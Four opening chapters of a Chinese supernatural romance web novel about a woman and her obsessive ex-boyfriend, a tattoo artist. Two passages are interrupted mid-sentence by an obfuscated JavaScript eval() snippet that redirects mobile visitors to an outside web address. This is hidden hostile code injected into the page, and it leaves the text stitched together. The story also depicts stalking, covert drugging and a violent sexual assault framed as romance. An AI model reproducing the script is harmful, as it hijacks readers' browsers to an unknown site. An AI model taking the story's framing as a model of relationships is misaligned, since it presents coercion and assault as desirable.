《今夜,谁与男鬼同眠》 1. 第 1 章 临城三月,寒气还尚未褪去,细雨里夹杂着冷冽的凉意。 城北的一处老街道也淹没在斜斜的细雨里,陈旧的石油路两侧堆积满了落叶。 天也灰蒙蒙的,晌午的天看起来却像日暮,路边稀薄的几家店铺都关着门,唯独街角的一家甜品店还亮着暖灯。 “也甜”两个粉蓝色的亮格招牌上大字格外的显眼,远远望去,招牌明亮的几乎反光,看上去像是新店。 “您点的抹茶冰淇淋和多巴胺刨冰,请慢用。”燕桐面带微笑,弯腰将甜品放在桌上。 店内暖灯昏黄,此刻只有零星的几个顾客蜷缩在角落,有几个眼前的甜品已经空盘,但似乎没有离去的打算,只依旧蜷缩着玩着手机。 暖气呼呼的吹着,背景轻音乐有些助眠,燕桐打了个哈欠,朝店外的马路瞥了眼,显然等的人还没回来。 她转身回到柜台坐下,她穿着白色的卫衣,扎着高马尾,许是打扮的朴素,未沾脂粉的缘故,明明是已经工作的年纪,却无端萌生出与年龄割裂的幼感。 燕桐撑着头,侧着身体滑着手机屏幕,微信上显示妈妈的聊天框不断的弹出消息。 [桐桐,考公复习别累着] [妈妈今年提前退休,等你回来就专门照顾你] 燕桐垂眼,手顿在聊天框,不知从何时起,明明是关心的话语,她却无端萌生出强烈的压抑感,这份感觉就像压在身上的棉花,越来越重,却又不值得奋起反抗。 一如往常,她思虑再三忍不住打出一长串推辞的话,却又再片刻后尽数删除。 最终也只是故作轻松的回了个小熊敬礼,略显烦躁的翻转手机。 燕桐长呼了口气,胸口的沉闷却久久无法散去,她转头透过墙上的镜子端详着自己,黑亮而通透的瞳孔,她的瞳仁比一般人大许多,眼睛看起来格外的聚神,五官精致,典型邻家妹妹的长相。 毫无攻击力的五官,幼态白哲的脸庞,再加上眉宇间的乖顺,妥妥的一个乖乖女长相。 而事实是,她也确实是。 燕桐看着自己这张脸,想起前不久,她还是某家金融国企最有晋升前途的员工之一,而如今却被迫和闺蜜合开了这家甜品店。 她的手抚上那本还全新的申论习题,想起上司骚扰自己的丑恶嘴脸,不禁一阵反胃。 说的好听是主动辞职,难听点就是被开了,业内人都说她撞了一座大山,以后整个行业都会驱逐她。 想到这,燕桐眼眸暗了几分,也是在这事后,她远在老家的爸妈强烈反对她一个人留在外地,原是当初也是她孤注一掷要在这打拼的。 后来她也的确是去应聘了几家公司,但无一例外,面试都被刷。 店外的玻璃门突然被推开,姜燕抖着伞走了进来,燕桐抬眼望去。 “这雨怎么越下越大,刚开业,这可不是好兆头。”姜燕将伞扔到柜台边,抽了几张纸边擦手边说。 燕桐情绪还没转换过来,姜燕嘟囔了几句,转身去了拐角的卫生间。 燕桐刚收回视线,就看到一对情侣搂着过来结账。 燕桐扫了一眼不远处桌上的甜品残渣,确认了下桌号,站起身打印账单。 那女孩一头红色波浪卷,眼线夸张,穿着惹火的露肚脐吊带搭配皮质短裙,眼神张扬,目光落到燕桐身上的时候却多了几分打量。 燕桐间隙抬头,正看到她从上到下打量自己。 简单的白色加绒卫衣,黑色略带浅棕的头发乖巧的扎在后脑勺,普通的黑色裤子,毫无粉黛的脸庞,乖和幼是女孩当时的想到的形容词。 她像是想到什么,突然转身警告男友: “等会去对面纹身,你别想跑。” 男孩一脸为难:“要不还是算了吧,女孩家家的纹身影响不好,还是打扮简单一点的好。” 说到简单两个字,他有意无意的把目光瞥向燕桐。 他女友顿时暴跳,望向燕桐的眼神顿时带上凶狠。 她一把拽住男朋友的衣襟:“喜欢简单的啊,那你去找简单的啊,娶回家给你当贤妻良母。”说罢她看了眼燕桐。 “那家纹身店我用你的工资预约的,花了几万块,你不去也得去,不纹就分手。” 男孩还在犹豫,女孩却直接负气离开,燕桐还来不及反应,就只被迫承受匆忙离去的尾气,甚至还来不及反驳一句。 燕桐垂着眸子脸上看不出表情,手下整理餐具的动作却不由得加重。 她安慰自己,一面之交而已,不值得生气。 不过想着刚才的事,燕桐突然想到租店铺前,其实姜燕为了周转临时租下的这个店铺位置极其差。 远离市中心,坐落于偏僻的小巷,相邻的都是一些破旧的小饭馆或修车厂,原以为没生意可做。 但原店铺老板却拍着胸脯,故弄玄虚的声称这店背后有大靠山,绝对不可能缺订单。 燕桐原以为他是在吹牛,现在却明白了吧。 他口中的靠山就是那家纹身店,是因为对面那家纹身店,想到这她走到街道的窗边,目光不探向那家店。 街道两侧树木林立,林荫茂密,光线很暗,再加上蒙蒙的细雨,燕桐几乎看不清那家纹身店的店牌。 只能隐约看到店名是两个字逐鸦,银色的字体镶刻在木质的招牌上,招牌小到足以被忽视。 正巧这时姜燕从卫生间出来,顺着燕桐的目光探去:“看什么呢。” 燕桐似似乎被吓了一跳,缓了一会,没接她的话,转而问道:“那个赌鬼没再来找你吧?” 姜燕正从包里掏着东西,闻言眸色微动,故作若无其事的说:“这次应该没那么容易找到。” 姜燕的皮肤带着点发黄的黑色,身体很瘦,是很明显的营养不良,她的父亲是个赌鬼,母亲早逝,她父亲经常答她,她从高中毕业就出来打工。 比起皮肤白哲,眉目温顺的燕桐来说,姜燕更黑更瘦,黑棕色的瞳孔也更加枯燥。 这次租店用了她打工的全部积蓄,她为了逃脱酒鬼父亲,辗转多处,燕桐也只能帮一边考公一边以共同开店的名义帮她。 姜燕她从桌角沾水的皮包里取出一份合同,递给燕桐。 “看看,刚签好的合同。” 燕桐目光微动,翻开被装订好的合同,首页甲方逐鸦纹身店,乙方也甜甜品店,苏枚快速扫了一圈。 目光落在权利义务那栏。 条款内容很清晰,关键内容就一条,也甜甜品店消费一千元以上,在代号“窒”纹身师方的预约名次推进一名,以此累加,也甜甜品店和逐鸦纹身店九比一分成当月销售额。 燕桐看完,这简直就是赤裸裸的压榨顾客啊,纹身店和预约的顾客都是受损害方,而甜品店是唯一一个赚的盆满钵满的,她担忧的望向姜燕: “你不会被骗了吧?” “没事的,原店长说他原来跟对面也是分成合同,没问题的。” 燕桐心中尚存疑惑,却也只能点点头,她来之前上网了解过那位纹身师,他似乎并未公开肖像,只能查到他的预约人数,一月一位,已经排到了明年,纹身基本都以万元为单位。 燕桐想不明白,他这样的有名的纹身师为什么要偏居在如此陈旧的街道。 她正想着,一阵手机铃声打破了平静,燕桐忙拿起手机,看到是房东来电,忙接通了电话。 电话那头是房东告诉她原来的租客已经搬出去了,让她随时来签合同搬进去的消息。 燕桐招呼了一声,拿起伞就出门前方租房的小区,这家甜品店好是好,就是没有二楼的住户屋,姜燕晚上回家,燕桐不想麻烦她,就拒绝了她的同住邀请。 好在谈成了附近一处便宜位置又好的房源,她打着伞冒雨走了十多分钟。 刚准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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燕桐被公司辞退,没有收入本就只支付了合租的租金,即便她心里介意,当然也没资格要求。 但燕桐还是依照约定提出要求一个女租客,这也是合同里写好的,而苏玫却抿抿唇,笑的有些勉强。 “实在不好意思,这房子刚有个男租客预约了。” 燕桐怔住,刚想反驳,突然想到刚才楼下那个男变态,她下意识觉得脊背发凉,表情也僵在脸上。 她甚至想到男租客很可能是那个变态伪装接近她。 苏玫似乎是看出了她的顾虑,忙补充道:“放心吧,这个男租客是我一个老朋友,品性绝对端正,作风绝对优秀。”说这话的时候她眼神有些飘忽。 纵然她这样说,燕桐还是有些顾虑,她要求先试住一周,如果合租有任何不适,她们就立刻解除合同,毕竟是她先违约让男租客住进来的。 苏玫满口答应,让燕桐放心。 燕桐这才松了口气下楼,打着伞回店的路上,不知为何,她总觉得有人在盯着自己。 燕桐深呼吸,试图压着不安,经过那家纹身店的时候,她不由得停住脚步,驻足仔细看,直到站在那家纹身店的门口,她才看到那店牌有多么的简陋。 许是临城经常下雨的缘故,支撑店牌的那快木板已经被腐蚀出大块黑灰色的斑点,分不清是青苔还是别的,镶在店木头上的银色亮片也掉了大半,如果不是瞥到里面人满为患的顾客。 燕桐足够认为这家店早已荒废,店门口有两块台阶,铺了两片防滑的毛毯垫。 燕桐走上台阶,抖了抖伞上的雨水,将伞靠在外面,刚在被淋湿的刘海还站在脸上,燕桐抱着试探的心往里抬脚走去。 店内的灯光很暗,整体色调偏青黑色,燕桐放眼望去,才发现这店远比她想象的大的大,门里套门,隔间与套间的镶嵌式和穿插式的使得她一时分不清具体的位置。 奇怪的是,这家店没有前台,也没有招呼顾客的人,燕桐转眼瞥到了隔间木门上贴着青鸟翅的标本,她不由得凑近看,那扇门上全都是翅膀,可那翅膀看着很小,更像是幼鸟,青毛里镶着白毛,翅根还隐约能看见丝丝缕缕的红。 2. 第 2 章 整扇门上,贴满了这种翅膀,远远望去,看着像是装饰品,可那隐约像血迹的颜色,却格外的逼真。 “有预约吗?”燕桐被突然冒出的人惊的转身,下意识脱口。 “没,我没预约。” 那男人一头银色寸头,怎么看也有一米八,身材壮硕,大冷天的只穿了一个背身,健硕的手臂纹了一条吐着信子的黑蛇,肤色有些黑,没有表情的时候格外的凶悍,像极了社会哥。 燕桐下意识拉开了距离,感觉他一拳抡过来能打死他,那男人像是看出了她的局促,露出一口的白牙,笑了起来。 “不要怕,哥不是社会人。”像是经常被人这样看,他表现的很自然,笑起来却莫名的变得有些憨厚,他转身走到桌角的计算机旁,拿起键盘擦了起来,不经意的问: “来纹身的吗?” 燕桐顿了两秒,点点头。 “驰哥,”店内的隔间突然出来一个女纹身师拿着工具和一张图,靠近那男人问了几句什么,燕桐注意到,她的脖间纹着一只大红色的蝴蝶,她似乎得到了解惑,转身离开。 驰囱再度看向燕桐,眼前这个学生气的女孩跟店内的气质格格不入,她用赶客的语气笑着说:“未成年不给纹身。” 燕桐似乎早有预料,掏出身份证递给他看,驰囱挑眉看了眼,竟然成年了,他眸底闪过一瞬的疑惑,顿了两秒,转身拿出纹身图案本递给燕桐。 “看看想纹个什么,别的图案也可以,复杂的可能得提前预约。” 燕桐翻阅着图案册,最终目光落在了一只白色的小狗图案上,就这个吧,燕桐指着这个。 驰囱接过图案册,后续商量好价格付完定金后,燕桐就跟着他上了楼上的隔间。 “店里的十几个纹身师都在忙,大概三十分钟后会空出一位,麻烦稍等一下。”驰囱交代完就离开了。 燕桐站在楼道,抬头看了眼面前的两扇门,抬手想推开方才驰囱指那扇,而那门却仿佛被锁了一样,而另一扇门却像是半掩着,燕桐隔着窗子看了眼两扇门内的布置。 锁着的那扇里面是真皮沙发,衣架上还有很多各色的外套,而另一扇门里只有一张白色的床,格调是简约的黑,里面还摆放着一个茶壶和一个斟满了茶的杯子,看起来更像是纹身的隔间,她果断推开门走了进去。 进来后她才发现这隔间比她想象的大很多,墙角摆着一排黑色的柜子,乍一看将近两米,床上铺着白色的床单,墙上贴着抽象的暗格壁画,地板是鬼头状的青黑色。 燕桐百无聊赖掏出手机,坐在沙发上,她划开手机屏幕,无意的翻看着就近的理发店挑染烫发项目,明年就要回老家了,她总想着再最后放纵一次。 她抬头凝望着墙角的抽象壁画出神,一把剑捅穿另一个人的头颅,鲜血却从眼里流出,看着像是中世纪西欧的壁画,她看着那人的棕色卷发,突然想到自己以前也烫过一次头发。 相册里应该有照片,她掏出手机翻找,那已经是大学时候的事了,很多旧的照片被储存在云盘,她几乎没怎么翻过,她靠在沙发上,指尖在屏幕上滑动,很多都是大学时期的风景照。 空气中不知怎的,突然传来一股淡淡的焦灼气味混着像是早春湿润青苔的味道,燕桐没有找到味道的源头,这种味道让他想起细雨后青草地里烤焦的蜗牛。 燕桐的指尖突然停在一张照片上,她蓦然瞪大眼睛,照片上背景是酒店的大床,床上衣衫凌乱,灯光很暗,拉着窗帘,拿手机的男人半张脸入镜,穿着黑色毛衣,长发半遮眸子,笑的乖顺,而照片中俨然是她瘫软在床的,发丝凌乱双眸紧闭的睡颜。 仔细看不难看出那被子下裸露的肩膀。 燕桐瞳孔瞪大,这张消失多年的照片瞬间将她拉回了大四,那段她前半生最放纵也从来不敢在人前提及的一段阴暗时光。 她明明记得当年清理干净了所有跟他相关的,怎么会?她心一沉抬手就想删掉照片,却忙中出错,手一滑,“啪嗒”一声脆响,手机掉进了沙发的夹缝。 她低呼一声,忙趴下试图把手机勾出来,而沙发的地盘与地面不足五厘米,手机掉在了最里面,手根本就够不到,她焦急的转头寻找工具。 一眼就看到了挂在墙上的衣架,只不过那衣架上挂着一件黑色的外套,不过她也顾不上那么过了,起身就去拿衣架。 而刚碰到衣架的瞬间,挂着衣服的那面木墙突然被从里面推开,伴随着刺耳的咯吱声,苏枚原本就注意力都在取手机上,而此刻突如其来的墙动瞬间将她吓得魂魄四散。 她惊呼一声,踉跄者往后连倒几步,直到手慌乱中撑住后面的沙发,才堪堪稳住身形,与此同时,衣架也从手中滑落。 那扇小门后缓缓探出一个身子,他穿着灰色的毛衣,弯腰低头时露出大片青白的脖颈,如墨一般的微卷黑发遮住大半张脸,像是刚洗过澡,他的头发还滴着水。 黑色的长裤也半湿,裤脚还沾在脚踝上,他的皮肤很白,白到几乎能看清脖颈细密的青筋和血丝,他手里拿着一个针尖似的工具,像螺丝刀外包裹了一层钢圈,头顶的白光打在身上,那钢圈还在反光。 握着它的那双手白而修长,与那锋利闪着银光的钢针毫无违和感,像是天生为了握着精密仪器而生。 他侧着身子缓缓的探出,手指还有意无意的摩挲着钢针下盘,空气寂静的只能听见苏枚轻微的呼吸声,而他的步子轻的不发出丁点的声音。 直到彻底出来后,他才缓缓抬起头,微卷的黑发遮住她下垂的眼尾,零碎的空隙下是他死黑一般的寂静的瞳仁,不带一丝活人的生气,头顶的白光晃着眼,而构成他周遭的却是死寂一般的黑影。 看清他脸的瞬间,燕桐僵在原地,只觉呼吸都凝滞了。 而他突然突然缓缓俯身,伸出那只带着三角轮廓戒指的修长手指,捡起地上的衣架,朝着沙发走去,他的表情始终如摄人的黑洞般,不见一丝情绪。 而经过燕桐的瞬间,她只觉周遭的氧气都被吸干了,浓密的碎发间,她一眼就看到额头的三角疤痕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525828|203492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还记得当年暴雨滂沱,他跪在她家楼下,用戴着戒指的手指一拳一拳的砸在额头,只为求她原谅,她用尽全力也没能拉住他,直到他额头的血肉被砸烂,他脸上却始终是温柔的笑意。 血水灌入眼睛,分不清是泪水还是雨水,她只能被迫妥协,而那晚救护车鸣笛声刺破黑夜,他含着笑安心陷入昏迷之际,她却登上了返回老家的航班,自此销声匿迹。 想到这,他却已经半跪在地上,捡起了沙发上的手机,屏幕上还亮着那张照片,那张赤裸的床照,他怔了一秒,凌乱的衣衫是那么的刺眼,燕桐才顿时想起来。 她脸颊抽搐了两下,一切来的措不及防,她毫无准备的迎接跟这个人的重逢,一个她原以为此生都不会再见,从不敢跟人提起的人。 顿时各种情绪涌入她胸腔,燕桐想拿回手机,腿却无法挪动分毫,此刻空气宛如一个巨大的处刑场,她不安,恐惧,又因曾经的放纵赤裸的展露于他面前。 而他却只是平静的扫了眼照片的内容,仿佛照片上的不是他一般,缓缓走向苏枚抬手将手机递给她。 “姐姐,好久不见。” 他的唇角挂上温柔的笑意,一如当年暴雨毒打自己和无数个她们沉溺情欲的夜晚,明明是笑的那般温柔,那双黑洞洞的眼睛却不见一丝活人的气息,刺眼的灯光下,他的脸一半遮蔽在阴影下,显得有些扭曲。 配合着墙壁上的欧洲的刺身画和地面盘旋的暗格图,灯光有些晃动,整个隔间融为一体,连空间都开始移位。 正巧此时,驰囱上楼找燕桐,按在隔壁休息室的把手上时,才发现休息室的门竟然锁住了,他余光才看到胳膊的气氛诡异的两人。 忙敲门进来,骆池咒应声合上手机屏幕,将手机攥在手里,转头看神色匆忙的驰囱。 “骆哥,你什么时候回来的,怎么没看到你。”驰囱眼里闪过一丝惊喜,拉开门问道。 “刚回。”骆池咒的回答很轻,唇角的笑意在他进门的瞬间消失殆尽,他转身将衣架上的衣服复归原位,挂在那扇门上。 燕桐的目光还落在被骆池咒攥在手里的手机上,却听见看着比骆池咒年长的驰囱叫他宋哥,她还没想听白却听驰囱略带歉意的道: “不好意思啊,燕小姐,休息室的门忘开了,刚才给您安排的纹身师临时有急事,纹身的事可能得改天了。” 燕桐顿住,她不在意今天能不能纹身,只注意到她走错了地方,休息室的门没开,那这里…是骆池咒的房间? 驰囱交代完就离开了,此刻房间只剩她们两人,燕桐用余光瞥向骆池咒,却只见他用那双死黑的眸子正阴森森盯着自己,一言不发,燕桐被盯得头皮发麻。 她别开视线,建设良久的心理防线后,她鼓起勇气对上骆池咒死寂一般的眸子,强壮镇定伸出手开口:“手机能给我吗……” 她此刻只想逃离。 空气一阵长久的死寂…… 骆池咒突然轻笑一声,开口:“也包括那张……姐姐保留三年的……床照?” 3. 第 3 章 那张难以启齿的照片被他看到又赤裸的提出来,燕桐强装镇定,不动声色的深吸了两口气: “忘了删而已。” 说完,她回过视线看向他,等待他归还手机。 而骆池咒在听到这句话后,脸上的笑意渐渐收拢,他站在原地,就这样死死的盯着她,那目光直白,阴冷,像毒蛇吐着信子一样。 不知过了多久,就在苏枚心理防线彻底崩塌的前一秒,他突然又笑了,缓缓的走近她,微微弯腰,将手机承至她面前。 他靠近的瞬间,那股烧灼和湿润青苔的混合气味更加强烈,他嗓音清凉,声音温柔到极致,吐息间却没有热气。 “姐姐,你纹身一定很美,纹满全身的那种。” 他的手还撑在原地,明明贴的不近,燕桐却手脚发麻,她一把拿过手机,接触到他掌心的皮肤,竟然像冰块一样,她周身僵硬,踉跄着跑了出去。 仿佛背后有狼豺虎豹,她慌乱的冲下楼梯,顾不得驰囱好奇的目光,匆匆拿起伞就跑。 而方才的隔间内,骆池咒身形未动,他盯着刚才离去的人影,唇角突然升腾起一抹诡异的笑容,掩埋在湿发下的瞳仁显得有些怪异,他缓缓抬起手,凝视着方才接触的皮肤。 突然伸出舌头舔上那块接触过的肌肤,他的舌苔青紫里透着白,他贪恋的反复用唇角研磨着那块皮肤,而眼神却死死的盯着她离开的方向。 他将手掌抱在怀里,像是贪恋珍宝似的,头缓慢的靠向死白的手臂,脖颈发出轻微的咯吱声,而后那只沾着她气味的手臂缓缓的往下挪动。 房间内传来一阵窸窣的声音,不知过了多久,密室内响起哗哗的水声,骆池咒从里面走出来。 他指尖夹起杯子,水渍沾在杯身上,他偏着头看着那里面的茶水,病态的眼神有些迷离。 他手指一抖,将茶水连着茶叶一同倒进了垃圾桶,而杯底的白色粉末却格外显眼。 他另一只手拿起相框旁的一个微型遥控器,按下按钮,隔壁房门的锁咔嚓一声开了。 “第十三次……逃,很好……” 另一边,燕桐仓惶逃走,回到甜品店的时候,裤腿和肩膀已湿了大半,她一脚跨进店,才觉得甩掉了身后毒蛇般的目光。 店外滂沱大雨,冲刷着一切声音,此刻天气已渐黑,甜品店已经挂上了停止营业的牌子,店内没有一片漆黑。 燕桐松掉伞,打湿的裤腿还沾在小腿上,她喘着粗气靠在墙上。 她怎么也想不到,她这辈子还会再见到他,这个集齐她恐惧,不堪和丝缕的心疼于一身的前男友。 她很少有难以启齿的事,但他是之一,或者说,最见不得人的一段过往。 而与他的过往,就像一张白纸上连成片的污点,足以让所有人彻底倾覆对她的印象。 可这却是她万万不能接受的,被这些恐惧支配,燕桐一时间近乎忘却了如今的纹身店和朋友姜燕的事。 她没注意到,姜燕已经从楼上隔间推门出来。 “桐桐,你怎么不开灯。”店内昏暗,掩盖住了燕桐近乎煞白的脸,听到呼唤,燕桐霎时间回了神。 强行调整情绪,唤出一副无甚大事的声音边开灯边道:“没事,刚才发了会呆。” 店内灯光亮起,姜燕走到燕桐旁边,疑惑的问:“你最近怎么总是神神叨叨的,昨天半夜两点我还见你出去了。” 燕桐疑惑,昨天半夜她没起夜啊。 而经过燕桐的追问,确定不是姜燕睡迷糊说胡话后,她去前台调取了昨夜店外的监控。 视频显示,昨天晚上两点,她披头散发穿着拖鞋走出店门,黑暗中她的瞳孔格外的明亮,伸手不见五指的街道,只能隐约看见她的身影消失在对街。 沿着视频的进度线后拉,直到第二天早上六点,她才晃晃悠悠的回了店,回来的时候,头发却被整整齐齐的扎在脑后。 这高度和手法,像极了骆池咒当年每次事后帮她扎的发…… 燕桐顿时毛骨悚然,因为她全然不记得昨夜的事,摸着肩膀处的淤青,她陷入了沉思。 “桐桐,你脸怎么这么白?你不记得昨晚的事?”姜燕看出不对劲,急忙问道。 “我,我没事,应该是梦游了,可能是太累了。”燕桐这番话只是为了平息姜燕的疑惑,她怕她知道有关骆池咒的一切,怕她知道她那段不堪的过往。 而自己却清楚的明白,她不可能是梦游,她越想越害怕,那头发究竟是自己扎的,还是他…… 如果真的是他扎的,那她肩膀处的淤青又是哪来的,可明明今天才是他们三年来第一次重逢。 可今天重逢的场景,他却毫无惊讶,仿佛早就预料到一切似的,燕桐越想越害怕。 “那就好,不过你最近总是不太对劲,前几天我还见你一个人自言自语念叨什么养了一只好狗呢,你养狗了吗?” 燕桐怔住,缓了几秒情绪后,她假装若无其事道:“我狗毛过敏,可能是开玩笑的。” “对了,你租房那边安排的怎么样了?” 燕桐倒水喝了口压惊,而后道:“手续都办好了,就等跟新室友的试住了。” “那就好。”姜燕点了点头。 夜色渐深,甜品店的玻璃窗外狂风肆虐,席卷着两排的林树,枝叶碰撞,暴雨噼里啪啦的打在玻璃上,燕桐坐在窗边。 怔怔的望着对门的纹身店,嘟嘟微信提示音响起,是慕司的来电,她的初恋,当年就是因为跟他的一场误会,她以为他出轨,才赌气跟骆池咒在一起。 她事先告诉了骆池咒一切的利用心态,她以为他是个明白人,却偏偏没察觉他骨子里的狠戾,那晚他打断了慕司的脸骨,她的眼神和拳头,燕桐终身难忘。 她与慕司青梅竹马,同所高中,后来又约定考上了同所大学,也不约而同的成为了彼此的初恋,老夫老妻的相处模式,慕司跟她一样,同样听话同样循规蹈矩,她们一度以为毕业后就会依父母的意愿自然结婚。 而那件事后,他进了医院后来又因工作调动离开,也或许他对被打的那件事耿耿于怀,燕桐也 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她不敢想,自己竟然会做这么变态的梦,都说梦是潜意识的展露,但她什么时候对骆池咒龌龊成这样。 燕桐一转头瞥见昨晚绑的绳子,还好死结没断,她从床底掏出剪刀,剪断绳子,在确保监控里她昨晚没有异常外,她一头扎进了浴室。 冰冷的水冲在头上,才让她渐渐从梦中剥离出来,既来之则安之,再次重逢就当不认识,非要认识也就是分手后的普通朋友。 当年在一起时她就说的清楚,不过是利用和短暂的欢愉,只要任意一方想,可以随时喊停分手,想来她也没什么亏心的,她坦坦荡荡。 燕桐洗漱完一大早就收拾好行李,装好大包小包,打车去了签好手续的出租屋。 昨夜暴雨,今早上很冷,还起了大雾,残叶大片大片的堆积在路两边,空气中弥漫着湿冷的水汽。 燕桐下车后背着一个大的旅行包,一手拉着行李箱一手扛着跌落成山的复习资料,摇摇晃晃的敲响了房东的门。 房东苏玫还一副睡眼朦胧的样子,她换上一副惊讶的笑容,伸着懒腰打了个哈欠:“好早。” 她摸起钥匙,带燕桐上楼,期间她提出要帮燕桐搬书,被燕桐客气拒绝了。 到电梯口的时候,她像是突然想起什么,一拍脑门道:“睡蒙了忘了告诉你,昨晚上另一位租客已经住进来了。” 燕桐虽然意料之外,但也没表现出什么,只点点头表示了解了。 苏玫将燕桐领进屋内,之前的布置已经介绍的很详细了,她只简单交代了租房的一切水电费细则,对新租客提到的很少,只有意无意的提醒到燕桐要跟租客保持距离。 她说的很委婉,而燕桐却敏锐的察觉出异样的情愫,她转身观察房子,整体还与上次来时差别不大,只是桌面书架像是都被清理过了,格外的整洁,沙发上堆着一件男士外套,而阳台不知何时多了两盆空心蓝。 最里面的浴室突然响起了水声,是那个新租客在洗澡。 4. 第 4 章 燕桐把那袋复习资料放在沙发旁,将双肩包从背上滑下来,坐在沙发上的时候有些轻微的气喘,她不动声色的打量着屋子相较于没住人前的变化。 视线挪至苏玫的时候,燕桐发现她的目光止不住的瞥向浴室的方向,眼里的情绪也不太一般,苏玫开口打破平静。 “那从今天起就算一周试住开始了,到时候不合适再联系。” 苏玫像是被她突然的声音带回思绪,忙转头笑着说:“好嘞好嘞。”说罢基本的事都交代完了,那边水声还未结束,而苏玫却像是拖时间般开始问候燕桐一些生活琐事。 燕桐出于礼貌都回避性的答着,约莫过了十分钟,两人实在无话可聊,而那头浴室的水声没却没有结束的动静,苏玫这才略带尴尬的笑着离开。 临走时目光还有意无意的瞥向浴室,而她抬脚刚走,那头的水声竟就停了,浴室传来一阵窸窣的穿衣声。 燕桐也大致能猜到,苏玫对这位新租客的感情不一样,不然不会冒着违约的风险也要让这位男租客入住。 苏玫刚准备起身将东西搬回约定好的房间,一转身就看到浴室的门被推开,里面的人穿着松松垮垮的黑色睡衣,露出胸前大片青白的肌肤。 水珠顺着发丝坠入脖颈,沿着胸口滑下,他拿着毛巾一边偏头一边走了出来。 燕桐抱着书的身形愣在原地,而他也抬头看向燕桐,双目对视的瞬间,他眼神闪过一丝戏谑,唇角却露出人畜无害的笑容:“第二次见面了……姐姐。”后两个字他咬的格外轻,眼神却如毒蛇般阴诡。 她后背顿时攀上一股凉意,双腿也僵在原地,她万万没想到,苏玫口中的很熟的新租客竟然是骆池咒,她颤抖着想挤出一丝笑意,却怎么也笑不出来。 此刻,面对那双如黑洞般的瘆人眸子,无可否认,她的心快跳出来了。 她大脑短路般的开口:“房东没告诉我是男租客啊,既然这样,我还是再去跟她商量商量。” 此刻她满脑子就是逃离这里,顾不得思考,一把抱起包拉起行李箱就走,仿佛后面有恶鬼追赶似的。 而她触碰到门把手的瞬间,身后的人目光骤然变冷。 “姐姐”他浸满凉意的声音霎时令她僵在原地,而他缓缓朝他靠近,脚步轻的几乎听不见声,而阴影却一点一点的攀上她头顶,爬至前方的铁门之上,直到那股熟悉至极的气息彻底将她包拢。 他缓缓的弯腰,脸颊擦过燕桐的发顶,薄唇缠绕着她耳垂的位置一路向下,若有若无的蹭过她的侧脸,自距离她脖颈咫尺的位置停住,温热的吐息喷洒在她肌肤上,惹得她身体一颤。 “我是鬼吗?姐姐跑什么……” 燕桐后背绷紧,死死的咬住牙一言不发,内心却直呼变态,她能感受到那双如毒蛇般的眸子正死死的盯着她。 他青白的指尖抚上燕桐怀里的书袋,,另一只手撑在她的行李箱上,高大的身躯以一种压倒性的阴影将她圈在怀里,他一动不动的盯着燕桐,描摹着她侧脸的轮廓,他能看清她的每一寸肌肤,轻微卷翘的睫毛,甚至那片煞白的肌肤。 他湿漉漉的头发贴在燕桐的脖颈,水珠沿着燕桐的肌肤滑下,浸入她的领口。 他眼底染上情欲,脖子间浅青色的血管隆起。 他猛地发狠啃上她的锁骨。 “啊”燕桐惊惧尖叫,手中书袋啪的一声砸落,手臂反射性的朝着头劈去,却在抬起臂的瞬间,两只手臂被猛地扣紧在身侧,他的手臂如铁钳般紧紧捆住她。 几乎是同时,他另一只大手捏住她下巴捂紧她的嘴,她所有的呜咽被尽数压制,被迫以一种挺胸仰头的方式承受他发狠的啃咬。 “放……疼……”燕桐拼命挣扎,身后的人却纹丝不动,甚至加重了力道,她顿时感到锁骨处火辣辣的疼,一股黏腻的液体顺着锁骨流下,却在滑落的瞬间被他尽数舔净。 他的舌尖游走在她伤口处,贪恋的浅啄,不再啃咬,细密的吻轻柔的落下。 “姐姐的血……好甜……”他像是沉溺其中,手上也不由得放松了力道。 “唔……变态!”燕桐不知从哪里生出一股巨力,猛地用手肘顶在他腰上,转身一把推倒了他。 她靠在门上,手抹过锁骨处的血,拢紧领口,神色惊惧的看着倒地的他,他唇角还沾着她的血,牙齿也带着若隐若现的红血丝。 骆池咒望着怒目而视的燕桐,缓缓的撑着身子站起,舔干净唇角的血,他突然摸上额角的那道三角疤: “姐姐你知道吗,人被放了血会变鬼,而鬼想回到阳间,总是要吸点血的。” 窗外的狂风像是附和着他的话,猛地卷起树梢疯狂的摇摆,暴雨噼里啪啦的砸在玻璃上。 “姐姐瞧瞧,今天这雨像不像当年那晚?”骆池咒偏头望去。 燕桐没有转头,强压下身体的颤抖,缓和情绪用一种近乎安抚道歉的语气说:“当年我不是故意不告而别的,我是确认你安全了才离开的。” 那晚他满头的血,燕桐后来偷偷去医院看过他,确认他脱离生命危险,父母到场才坐飞机离开的。 骆池咒像是没有听到她的解释,脸上依旧挂着熟悉的微笑,自顾自的说着:“那晚我流了好多血,视线都是鲜红的,我求着姐姐别走,可姐姐却头也没回……” “你拉黑了我的微信,换了电话号码,甚至删除了学籍档案的联系地址,抹掉了我们所有的痕迹,难道……就因为我打了那个男人,姐姐就要逼得我下地狱吗?” 他一步步走进燕桐,指尖如毒蛇般缠绕着她的脸颊,近乎虔诚的看着她:“我长的不像他吗,我不乖吗,为什么姐姐还要抛弃我?” 燕桐身体绷紧,看着他额角深可见骨的三角疤痕,想起那夜他拳拳到肉的模样,燕桐心底突然生出一丝愧疚,她缓缓开口: “是我的问题,我不该利用你发泄自己的欲 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她走到他旁边,想了会说:“我暂时也没找到更好的房源,就按原来约定好的,试住七天,之后再说。” 骆池咒眼底闪过一丝笑意,突然又疼的抱住头低吼,燕桐担忧的靠近:“你有药吗,我去帮你找。” 